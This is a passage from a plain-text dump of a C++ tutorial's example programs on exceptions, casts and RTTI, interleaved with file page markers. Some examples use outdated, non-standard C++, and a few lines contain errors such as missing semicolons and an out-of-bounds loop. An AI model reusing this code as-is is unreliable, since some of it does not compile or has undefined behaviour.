for (int i=0; i<=15; i++)


{
//another test, if n>9, throw this error
//to the respective catch..
if (i>9) throw i;
teststr[i]='z';
cout<<"teststr["<<i<<"] = "<<teststr[i]<<endl;
}
}

//catch the error if, i > 9, by displaying some


//error message...
catch (int j)
{
cout<<"The exception: ";
cout<<"index "<<j<<" is out of range"<<endl;
}
//catch the error if, allocation fail for *teststr
//by displaying some error...
catch (char * strg)
{
cout<<"The exception: "<<strg<<endl;
}
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------

//mismatch type, throw integer type


//catch the double type...
#include <iostream.h>

void Funct();

int main()
{
try
{
Funct();
}
catch(double)
{
cerr<<"caught a double type..."<<endl;
}
return 0;
}

void Funct()

file:///C|/Tutorial.txt (305 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
//3 is not a double but int
throw 3;
}

---------------------------------------------------------------------------------------------

//exception, class and destructor


#include <iostream.h>

void TestFunct(void);

//class Test1 declaration...


class Test1
{
public:
Test1(){};
~Test1(){};
const char *TestShow() const
{
cout<<"In class member function *TestShow():\n";
return " Exception in Test1 class.";
}
};

//another class declaration, DestrTest...


class DestrTest
{
public:
DestrTest();
~DestrTest();
};

//constructor class implementation


DestrTest::DestrTest()
{
cout<<"Next, in constructor DestrTest():\n";
cout<<" Constructing the DestrTest...\n";
}

//destructor class implementation


DestrTest::~DestrTest()
{
cout<<"Next, in destructor ~DestrTest():\n";
cout<<" Destructing the DestrTest...\n";
}

void TestFunct()
{
//instantiate an object, constructor invoked...
DestrTest p;
cout<<"Next in TestFunct(): \n Throwing Test1 type exception...\n";
//first throw...
throw Test1();
}

file:///C|/Tutorial.txt (306 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
cout<<"Starting in main()...\n";
try
{
cout<<"Now, in the try block: \n Calling TestFunct()...\n";
TestFunct();
}
//instantiate another object, constructor invoked...
catch(Test1 q)
{
cout<<"Next, in catch handler:\n";
cout<<" Caught Test1 type exception...\n";
cout<<q.TestShow()<<"\n";
}
catch(char *strg)
{
cout<<"Caught char pointer type exception: "<<strg<<"\n";
}

cout<<"Back in main...\n";
return 0;
}

---------------------------------------------------------------------------------------------

//empty throw statement


#include <iostream.h>

//this empty throw will be ignored...


void Nothing() throw()
{
cout<<"In Nothing(), empty throw..."<<endl;
}

void SomeType() throw(double)


{
cout<<"In SomeType, will throw a double type..."<<endl;
throw(1.234);
}

void main()
{
try
{
Nothing();
SomeType();
}
catch (double)
{
cout<<"Caught a double..."<<endl;
}
}

---------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (307 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <iostream.h>
//base class
class Test1 {};
//derived class
class Test2 : public Test1 {};

void Funct();

int main()
{
try
{
//function call, go to Funct()
Funct();
}
catch(const Test1&)
{
cerr<<"Caught a Test1 type, base class..."<<endl;
}
return 0;
}

//throw function definition


//a throw of Test2 type, derived class...
void Funct()
{
throw Test2();
//next, find the catch handler
}

-----------------------------------------------------------------------------------------------

#include <iostream.h>
//exit()
#include <stdlib.h>
//set_terminate()
#include <exception>

void Funct()
{
cout<<"Funct() was called by terminate()."<<endl;
//0-normal exit, non zero-exit with some error
exit(0);
}

int main()
{
try
{
set_terminate(Funct);
//No catch handler for this exception
throw "Out of memory!";
}
catch(int)
{
cout<<"Integer exception raised."<<endl;

file:///C|/Tutorial.txt (308 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

}
return 0;
}

------------------------------------------------------------------------------------------------

//exception specification
#include <iostream.h>

//handler function
void handler()
{cout<<"In the handler()\n";}

//int throw...
void Funct1(void) throw(int)
{
static int x = 1;
cout<<"Funct1() call #"<<x++<<endl;
cout<<"About to throw 1\n";
if (1)
throw 1;
}
//empty throw...
void Funct5(void) throw()
{
try
{Funct1();}
catch(...)
{handler();}
}

// invalid, doesn't handle the int exception thrown from Funct1()


// void Funct3(void) throw()
// {
// Funct1();
//}

void Funct2(void)
{
try
{Funct1();}
catch(int)
{handler();}
}

//assume extern "C" functions don't throw exceptions


extern "C" void Funct4(void);
void Funct4(void)
{Funct1();}

int main()
{
Funct2();
try
{Funct4();}
catch(...)

file:///C|/Tutorial.txt (309 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{cout<<"Caught exception from Funct4()\n";}


Funct5();
return 0;
}

--------------------------------------------------------------------------------------

//standard exceptions
//program example
#include <iostream.h>
#include <exception>
#include <typeinfo>

class Test1
{
virtual Funct() {};
};

int main ()
{
try {
Test1 * var = NULL;
typeid (*var);
}
catch (std::exception& typevar)
{
cout<<"Exception: "<<typevar.what()<<endl;
}
return 0;
}

---------------------------------------------------------------------------------------

//out_of_range example
#include <string>
#include <iostream>

using namespace std;

int main( )
{
try
{
string strg1("Test");
string strg2("ing");
strg1.append(strg2, 4, 2);
cout<<strg1<<endl;
}
catch (exception &e)
{
cerr<<"Caught: "<<e.what()<<endl;
cerr<<"Type: "<<typeid(e).name()<<endl;
};
return 0;
}

file:///C|/Tutorial.txt (310 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

------------------------------------------------------------------------------------------

//bad_cast
//Need to enable the Run-Time Type Info,
//rtti of your compiler. You will learn
//Typecasting in another Module…
#include <typeinfo.h>
#include <iostream>
using namespace std;

class Myshape
{
public:
virtual void myvirtualfunc() const {}
};

class mytriangle: public Myshape


{
public:
virtual void myvirtualfunc() const
{ };
};

int main()
{
Myshape Myshape_instance;
Myshape &ref_Myshape = Myshape_instance;

try {
//try the run time typecasting, dynamic_cast
mytriangle &ref_mytriangle = dynamic_cast<mytriangle&>(ref_Myshape);
}
catch (bad_cast) {
cout<<"Can't do the dynamic_cast lor!!!"<<endl;
cout<<"Caught: bad_cast exception. Myshape is not mytriangle.\n";
}
}

----------------------------------------------------------------------------------------------

//bad_alloc, first version


//the allocation is OK
#include <new>
#include <iostream>
using namespace std;

int main()
{
char* ptr;

unsigned long int Test = sizeof(size_t(0)/3);


cout<<"The size of variable Test = "<<Test<<endl;
try
{
//try some allocation...
//size of an array must not exceed certain bytes

file:///C|/Tutorial.txt (311 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

ptr = new char[size_t(0)/3]


delete[] ptr;
}
catch(bad_alloc &thebadallocation)
{
cout<<thebadallocation.what()<<endl;
};
}

------------------------------------------------------------------------------------------------

//set_unexpected
#include <exception>
#include <iostream>
using namespace std;

void myfunction()
{
cout<<"Testing myfunction()."<<endl;
//terminate() handler
terminate();
}

int main( )
{
unexpected_handler oldHandler = set_unexpected(myfunction);
//unexpected() function call
unexpected();
}

--------------------------------------------------------------------------------------------------

//bad_typeid
#include <typeinfo.h>
#include <iostream>
using namespace std;

class Test
{
public:
//object for a class needs vtable
//for the rtti...
Test();
virtual ~Test();
};

int main()
{
Test *ptrvar = NULL;

try {
//the error condition
cout<<typeid(*ptrvar).name()<<endl;
}
catch (bad_typeid){
cout<<"The object is NULL"<<endl;

file:///C|/Tutorial.txt (312 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

}
}

---------------------------------------------------------------------------------------------------

//domain_error and typeid()


#include <iostream>
using namespace std;

int main()
{
try
{
throw domain_error("Some error with your domain!");
}
catch (exception &err)
{
cerr<<"Caught: "<<err.what()<<endl;
cerr<<"Type: "<<typeid(err).name()<<endl;
};
}

----------------------------------------------------------------------------------------------------

//invalid_argument
#include <bitset>
#include <iostream>
using namespace std;

int main()
{
try
{
//binary wrongly represented by char X
//template based…
bitset<32> bitset(string("0101001X01010110000"));
}
catch (exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}

----------------------------------------------------------------------------------------------------

//runtime_error
#include <iostream>
using namespace std;

int main()
{
//runtime_error
try
{
locale testlocale("Something");

file:///C|/Tutorial.txt (313 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

}
catch(exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}

---------------------------------------------------------------------------------------------------

//overflow_error
//storage reserved is not enough
#include <bitset>
#include <iostream>
using namespace std;

int main()
{
try
{
//template based…
bitset<100> bitset;
bitset[99] = 1;
bitset[0] = 1;
//to_ulong(), converts a bitset object to the integer
//that would generate the sequence of bits
unsigned long Test = bitset.to_ulong();
}
catch(exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}

-------------------------------------------------------------------------------------------------------

//range_error
#include <iostream>
using namespace std;

int main()
{
try
{
throw range_error("Some error in the range!");
}
catch(exception &Test)
{
cerr<<"Caught: "<<Test.what()<<endl;
cerr<<"Type: "<<typeid(Test).name()<<endl;
};
}

------------------------------------------------VC++/VC++ .Net----------------------------------------------------

file:///C|/Tutorial.txt (314 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//underflow_error
//negative storage...
#include <iostream>
using namespace std;

int main()
{
try
{
throw underflow_error("The negative storage?");
}
catch(exception &Test)
{
cerr<<"Caught: "<<Test.what()<<endl;
cerr<<"Type: "<<typeid(Test).name()<<endl;
};
}

------------------------------------------------------G++--------------------------------------------------------

//***********-except.cpp-***********
//exception, class and destructor
#include <iostream>
using namespace std;

void TestFunct(void);

//class Test1 declaration...


class Test1
{
public:
Test1(){};
~Test1(){};
const char *TestShow() const
{
cout<<"In class member function *TestShow():\n";
return " Exception in Test1 class.";
}
};

//another class declaration, DestrTest...


class DestrTest
{
public:
DestrTest();
~DestrTest();
};

//constructor class implementation


DestrTest::DestrTest()
{
cout<<"Next, in constructor DestrTest():\n";
cout<<" Constructing the DestrTest...\n";
}

//destructor class implementation

file:///C|/Tutorial.txt (315 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

DestrTest::~DestrTest()
{
cout<<"Next, in destructor ~DestrTest():\n";
cout<<" Destructing the DestrTest...\n";
}

void TestFunct()
{
//instantiate an object, constructor invoked...
DestrTest p;
cout<<"Next in TestFunct(): \n Throwing Test1 type exception...\n";
//first throw...
throw Test1();
}

int main()
{
cout<<"Starting in main()...\n";
try
{
cout<<"Now, in the try block: \n Calling TestFunct()...\n";
TestFunct();
}
//instantiate another object, constructor invoked...
catch(Test1 q)
{
cout<<"Next, in catch handler:\n";
cout<<" Caught Test1 type exception...\n";
cout<<q.TestShow()<<"\n";
}
catch(char *strg)
{
cout<<"Caught char pointer type exception: "<<strg<<"\n";
}
cout<<"Back in main...\n";
return 0;
}

============================MODULE22=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.

file:///C|/Tutorial.txt (316 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//For VC++ (Version > 4.0) / VC++ .Net change the header files
//to the following accordingly...Same for other examples lol!
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>

int main()
{
int sum = 1000;
int count = 21;

double average1 = sum/count;


cout<<"Before conversion = "<<average1<<endl;

double average2 = static_cast<double>(sum)/count;

cout<<"After conversion = "<<average2<<endl;

file:///C|/Tutorial.txt (317 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

system("pause");
return 0;
}

-------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

//enum data type


enum color {blue, yellow, red, green, magenta};

int main()
{
int p1 = 3;

cout<<"integer type, p1 = "<<p1<<endl;


cout<<"color c1 = static_cast<color> (p1)"<<endl;
color c1 = static_cast<color> (p1);
cout<<"enum type, c1 = "<<c1<<endl;

system("pause");
return 0;
}

-------------------------------------------------------------------------

//demonstrates const_cast
#include <iostream.h>
#include <stdlib.h>

int main()
{
//p = 10 is a constant value, cannot be modified
const int p = 20;

cout<<"const p = "<<p<<"\nq = p + 20 = "<<(p + 20)<<endl;


//The following code should generate error, because
//we try to modify the constant value...
//uncomment, recompile and re run, notice the error...
//p = 15;
//p++;

//remove the const...


int r = const_cast<int&> (p);
//the value of 10 should be modified now...
--r;
cout<<"Removing the const, decrement by 1,\nNew value = "<<r<<endl;

system("pause");
}

-----------------------------------------------------------------------------

//Demonstrate const_cast
#include <iostream.h>

file:///C|/Tutorial.txt (318 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdlib.h>

struct One
{
//test function...
void funct1()
{ cout<<"Testing..."<<endl;}
};

//const argument, cannot be modified...


void funct2(const One& c)
{
//will generate warning/error...
c.funct1();
}

int main()
{
One b;

funct2(b);

system("pause");
return 0;
}

--------------------------------------------------------------------------------

//Change c.funct1(); to the following statements recompile and rerun the program.

//remove the const...


One &noconst = const_cast<One&> (c);
cout<<"The reference = "<<&noconst<<endl;
noconst.funct1():

---------------------------------------------------------------------------------

//Demonstrates type casting


#include <iostream.h>
#include <stdlib.h>

double funct1(double& f)
{
//do some work here...
f++;
cout<<"f = "<<f<<endl;
//return the incremented value...
return f;
}

//const argument, can't be modified...


void funct2(const double& d)
{
cout<<"d = "<<d<<endl;
//remove const...
//use the non-const argument, making function call...

file:///C|/Tutorial.txt (319 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

double value = funct1(const_cast<double&> (d));


//display the returned value...
cout<<"value = "<<value<<endl;
}

int main()
{
double c = 4.324;

//first function call...


funct2(c);

system("pause");
return 0;
}

------------------------------------------------------------------------------------

//Demonstrate type casting


#include <iostream.h>
#include <stdlib.h>

class One
{
public:
void funct()
{cout<<"Testing..."<<endl;};
};

//const and volatile...


const volatile int* Test1;
//const...
const int* Test2;

void TestConstVol()
{
One Test3;

//remove const...
const_cast<One&>(Test3).funct();
//remove const and volatile...
const_cast<int*> (Test1);
}

int main()
{
TestConstVol();

system("pause");
return 0;
}

------------------------------------------------------------------------------------------

//removing the const-ness of the

file:///C|/Tutorial.txt (320 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//this pointer
#include <iostream.h>
#include <stdlib.h>

class Test
{
public:
void GetNumber(int);
//Read only function...
void DisplayNumber() const;

private:
int Number;
};

void Test::GetNumber(int Num)


{Number = Num;}

void Test::DisplayNumber() const


{
cout<<"\nBefore removing const-ness: "<<Number;
const_cast<Test*>(this)->Number+=2;
cout<<"\nAfter removing const-ness: "<<Number<<endl;
}

int main()
{
Test p;

p.GetNumber(20);
p.DisplayNumber();

system("pause");
return 0;
}

--------------------------------------------------------------------------------------

//using mutable to remove the


//const-ness of the function...
#include <iostream.h>
#include <stdlib.h>

class Test
{
//using mutable
mutable int count;
mutable const int* ptr;
public:
//Read only function can't
//change const arguments.
int funct(int num = 10) const
{
//should be valid expression...
count = num+=3;
ptr = &num;

file:///C|/Tutorial.txt (321 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"After some operation, the new value: "<<*ptr<<endl;


return count;
}
};

int main(void)
{
Test var;

cout<<"Initial value of the argument is: 10"<<endl;


var.funct(10);

system("pause");
return 0;
}

--------------------------------------------------------------------------------------

//upcast conversion using dynamic_cast


#include <iostream.h>
#include <stdlib.h>

//base class
class Base1 {};

//derived class...
class Derived1:public Base1 {};

//another derived class


class Derived2:public Derived1{};

//dynamic_cast test function...


void funct1()
{
//instantiate an object…
Derived2* Test1 = new Derived2;

//upcasting, from derived class to base class,


//Derived1 is a direct from Base1
//making Test2 pointing to Derived1 sub-object of Test1
Derived1* Test2 = dynamic_cast<Derived1*>(Test1);
cout<<"Derived1* Test2 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test2)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

//upcasting, from derived class to base class


//Derived2 is an indirect from Base1
Base1* Test3 = dynamic_cast<Derived1*>(Test1);
cout<<"\nBase1* Test3 = dynamic_cast<Derived1*>(Test1);"<<endl;

if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

file:///C|/Tutorial.txt (322 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
funct1();
system("pause");
return 0;
}

----------------------------------------------------------------------------------------

//If new_name is void*, the result of


//conversion is a pointer to the complete
//object pointed to by the expression

//void* and dynamic_cast


#include <iostream.h>
#include <stdlib.h>

//base class
class Base1
{
public:
virtual void funct1(){};
};

//another base class...


class Base2
{
public:
virtual void funct2(){};
};

//dynamic_cast test function...


void funct3()
{
//instantiate objects…
Base1 * Test1 = new Base1;
Base2 * Test2 = new Base2;

//making Test3 pointing to an object of type Base1


void* Test3 = dynamic_cast<void*>(Test1);
cout<<"void* Test3 = dynamic_cast<void*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

//making Test3 pointing to an object of type Base2


Test3 = dynamic_cast<void*>(Test2);
cout<<"\nTest3 = dynamic_cast<void*>(Test2);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
}

file:///C|/Tutorial.txt (323 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
funct3();
system("pause");
return 0;
}

---------------------------------------------------------------------------------

//downcast conversion using dynamic_cast


#include <iostream.h>
#include <stdlib.h>

//base class
class Base1 {
public:
virtual void funct1(){};
};

//derived class...
class Derived1:public Base1 {
public:
virtual void funct2(){};
};

//dynamic_cast test function...


void funct3()
{
//instantiate objects…
Base1* Test1 = new Derived1;
Base1* Test2 = new Base1;

//making Test1 pointing to Derived1


Derived1* Test3 = dynamic_cast<Derived1*>(Test1);
cout<<"Derived1* Test3 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

//should fails coz Test2 pointing


//to Base1 not Derived1, Test4 == NULL
Derived1* Test4 = dynamic_cast<Derived1*>(Test2);
cout<<"\nDerived1* Test4 = dynamic_cast<Derived1*>(Test2);"<<endl;
if(!Test4)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
//reconfirm, should be NULL pointer…
cout<<"Should be NULL pointer = "<<Test4<<endl;
}

int main()
{

file:///C|/Tutorial.txt (324 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

funct3();

system("pause");
return 0;
}

----------------------------------------------------------------------------------

//multiple inheritance
//conversion using dynamic_cast
#include <iostream.h>
#include <stdlib.h>

//base class
class Base1 {};

class Derived1:public Base1{};

class Derived2:public Base1{};

//derived class...
class Derived3:public Derived1, public Derived2
{
public:
virtual void funct1(){}
};

//dynamic_cast test function...


void funct2()
{
//instantiate an object…
Derived3 *Test1 = new Derived3;

//-------start comment out---------


//may fail, ambiguous...from Derived3 direct
//conversion to Base1...
//if you use good compiler, please comment out this
//part, there should be run time error:-)
Base1* Test2 = dynamic_cast<Base1*>(Test1);
cout<<"Base1* Test2 = dynamic_cast<Base1*>(Test1);"<<endl;
if(!Test2)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
//reconfirm the pointer
cout<<"The pointer should be NULL ==> "<<Test2<<endl;
//---------end comment out----------

//solution, traverse, recast...


//firstly, cast to Derived1
Derived1* Test3 = dynamic_cast<Derived1*>(Test1);
cout<<"\nDerived1* Test3 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

file:///C|/Tutorial.txt (325 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//then cast to base1....


Base1* Test4 = dynamic_cast<Base1*>(Test3);
cout<<"\nBase1* Test4 = dynamic_cast<Base1*>(Test3);"<<endl;
if(!Test4)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
}

int main()
{
funct2();

system("pause");
return 0;
}

---------------------------------------------------------------------------------------

//testing the crosscast: downcast, upcast and crosscast


//conversion using dynamic_cast
#include <iostream.h>
#include <stdlib.h>

//base class
class Base1
{
public:
virtual void funct1(){};
};

class Derived1:public Base1


{
public:
virtual void funct2(){};
};

class Derived2:public Base1{


public:
virtual void funct3(){};
};

//derived class...
class Base2
{
public:
virtual void funct4(){};
};

class Derived3:public Derived1,public Derived2,public Base2


{};

//dynamic_cast test function...


void funct5()
{

file:///C|/Tutorial.txt (326 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//instantiate an object
//Test1 of type Base2...
//or test1 of type Derived2...
//you can choose either one:-)

Base2* Test1 = new Base2;


//Derived2* Test1 = new Derived2;

//start with downcast, type Base2/Derived2 to Derived3...


Derived3* Test2 = dynamic_cast<Derived3*>(Test1);
cout<<"Firstly, Derived3* Test2 = dynamic_cast<Derived3*>(Test1);"<<endl;
if(!Test2)
{
cout<<"The conversion is fail lor!"<<endl;
cout<<"Checking the pointer = "<<Test2<<endl;
}

else
cout<<"The conversion is successful..."<<endl;

//Upcast, type derived3 to type derived1...


Derived1* Test3 = dynamic_cast<Derived1*>(Test2);
cout<<"\nThen, Derived1* Test3 = dynamic_cast<Derived1*>(Test2);"<<endl;
if(!Test3)
{
cout<<"The conversion is fail lor!"<<endl;
cout<<"Checking the pointer = "<<Test3<<endl;
}
else
cout<<"The conversion is successful..."<<endl;

//crosscast, direct, type Base2/Derived2 to Derived1...


Derived1* Test4 = dynamic_cast<Derived1*>(Test1);
cout<<"\nThen, Derived1* Test4 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test4)
{
cout<<"The conversion is fail lor!"<<endl;
cout<<"Checking the pointer = "<<Test3<<endl;
}

else
cout<<"The conversion is successful..."<<endl;
delete Test1;
}

int main()
{
funct5();

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------

//dynamic_cast ambiguous conversion experiment

file:///C|/Tutorial.txt (327 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <iostream.h>
#include <stdlib.h>

//a class with virtual function...


//polymorphic…
class Base1
{
public:
virtual void FuncBase1()
{};
};

//another class with virtual function...


class Base2
{
public:
virtual void FuncBase2()
{};
};

//derived class from Base1 and Base2 classes


//public virtual and private...
class Derived1:public virtual Base1, private Base2
{};

//dynamic_cast test function...


void DynamicCastSample()
{
//instantiate an object of type Derived1 class...
Derived1 DerivedObj;

//simple assignment, derived to base class, upcasting...


//cast needed to break private protection...
Base2* Base2Obj = (Base2*) &DerivedObj;

//another assignment, derived to base class, upcasting...


//public inheritance, no need casting..
Base1* Base1Obj = &DerivedObj;

//base class to derived class, downcast


Derived1& Derived1Obj = dynamic_cast<Derived1&>(*Base2Obj);
if(!&Derived1Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<&Derived1Obj<<endl;

//base class to derived class, downcast


Base1Obj = dynamic_cast<Base1*>(Base2Obj);
if(!Base1Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base1Obj<<endl;

//base class to base class, ????

file:///C|/Tutorial.txt (328 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//no inheritance…
Base2Obj = dynamic_cast<Base2*>(Base1Obj);
if(!Base2Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base2Obj<<endl;

//derived class to base class, upcast


Base1Obj = dynamic_cast<Base1*>(&Derived1Obj);

if(!Base1Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base1Obj<<endl;

//derived class to base class...


//Derived1Obj is derived from non-virtual, private Base2…
Base2Obj = dynamic_cast<Base2*>(&Derived1Obj);
if(!Base2Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base2Obj<<endl;
}

int main()
{
int *ptr = NULL;
int var;

cout<<"Benchmarking..."<<endl;
cout<<"Address of var = "<<&var<<endl;
//NULL pointer
cout<<"NULL *ptr = "<<ptr<<endl;
cout<<endl;

//call the function for dynamic_cast testing...


DynamicCastSample();

system("pause");
return 0;
}

-----------------------------------------------------------------------------------

//using typeid operator, type_info::before()


//and type_info::name() member functions
#include <iostream.h>
#include <stdlib.h>
#include <typeinfo.h>

//T - True, F - False


#define T 1
#define F 0

file:///C|/Tutorial.txt (329 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//a base class


class A { };
//a derived class
class B : A { };

int main()
{
char c;
float f;

//using typeinfo operator, == for comparison


if (typeid(c) == typeid(f))
cout<<"c and f are the same type."<<endl;
else
cout<<"c and f are different type."<<endl;

//using true and false comparison...


//name() and before() are typeinfo member functions...
cout<<typeid(int).name();
cout<<" before "<<typeid(double).name()<<": "<<
(typeid(int).before(typeid(double)) ? T:F)<<endl;

cout<<typeid(double).name();
cout<<" before "<<typeid(int).name()<<": "<<
(typeid(double).before(typeid(int)) ? T:F)<<endl;

cout<<typeid(A).name();
cout<<" before "<<typeid(B).name()<<": "<<
(typeid(A).before(typeid(B)) ? T:F)<<endl;

system("pause");
return 0;
}

-------------------------------------------------------------------------------------

//getting the run time type information...


#include <iostream.h>
#include <stdlib.h>
#include <typeinfo.h>

//polymorphic base class...


class __rtti Test
{
//This makes Test a polymorphic class type.
virtual void func() {};
};

//derived class...
class Derived : public Test {};

int main(void)
{
//Instantiate Derived type object...
Derived DerivedObj;

file:///C|/Tutorial.txt (330 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Declare a Derived type pointer


Derived *DerivedPtr;
//Initialize the pointer
DerivedPtr = &DerivedObj;

//do the run time checking...


if(typeid(*DerivedPtr) == typeid(Derived))
//check the type of *DerivedPtr
cout<<"Ptr *DerivedPtr type name is "<<typeid(*DerivedPtr).name();
if(typeid(*DerivedPtr) != typeid(Test))
cout<<"\nPointer DerivedPtr is not a Test class type.\n";

system("pause");
return 0;
}

-----------------------------------------------------------------------------------------

//run time type information...


#include <iostream.h>
#include <stdlib.h>
#include <typeinfo.h>

class Base
{
public:
virtual void funct(){}
};

class Derived:public Base{};

int main()
{
Derived* Test1 = new Derived;
Base* Test2 = Test1;

cout<<"The type name of Test1 is: ";


cout<<typeid(Test1).name()<<endl;
cout<<"The type name of *Test1 is: ";
cout<<typeid(*Test1).name()<<endl;
cout<<"The type name of Test2 is: ";
cout<<typeid(Test2).name()<<endl;
cout<<"The type name of *Test2 is: ";
cout<<typeid(*Test2).name()<<endl;

delete Test1;

system("pause");
return 0;
}

------------------------------------------------------------------------------------------

//using reinterpret_cast, int to


//unsigned int pointers conversion
#include <iostream.h>

file:///C|/Tutorial.txt (331 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdlib.h>

unsigned int* Test(int *q)


{
//convert int pointer to unsigned int pointer
unsigned int* code = reinterpret_cast<unsigned int*>(q);
//return the converted type data, a pointer...
return code;
}

int main(void)
{
//array name is a pointer...
int a[10];

cout<<"int pointer unsigned int pointer"<<endl;


for(int i = 0;i<=10;i++)
cout<<(a+i)<<" converted to "<<Test(a+i)<<endl;

system("pause");
return 0;
}

--------------------------------------VC++/VC++ .Net onward----------------------------------------------

//simple class
//compiled using visual C++ .Net
#include <iostream>
using namespace std;

class MyStack
{
public:
//create a stack with initial size
MyStack(int initsize);
~MyStack(void);
};

MyStack::MyStack(int initsize)
{
static x;
cout<<"Constructor: Pass #"<<x<<endl;
x++;
}

MyStack::~MyStack(void)
{
static y;
cout<<"Destructor: Pass #"<<y<<endl;
y++;
}

//----main program----
int main()
{
//The initial stack size is 10

file:///C|/Tutorial.txt (332 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

MyStack p(20);

//but, there will be new stack objects


//with size of 30!
p = 30;
cout<<"Without the explicit keyword!\n";
return 0;
}

----------------------------------------------------------------------------------------------

//simple class
//compiled using visual C++ .Net
#include <iostream>
using namespace std;

class MyStack
{
public:
//create a stack with initial size
explicit MyStack(int initsize);
~MyStack(void);
};

MyStack::MyStack(int initsize)
{
static x;
cout<<"Constructor: Pass #"<<x<<endl;
x++;
}

MyStack::~MyStack(void)
{
static y;
cout<<"Destructor: Pass #"<<y<<endl;
y++;
}

//----main program----
int main()
{
//The initial stack size is 10
MyStack p(20);
//but, there will be new stack objects
//with size of 30!
//p = 30;
cout<<"With the explicit keyword!\n";
return 0;
}

--------------------------------------VC++/VC++ .Net---------------------------------------------------

//run time type information...


//compiled using VC++/VC++ .Net
#include <iostream>
#include <typeinfo.h>

file:///C|/Tutorial.txt (333 of 916)10/27/2010 10:58:30 AM


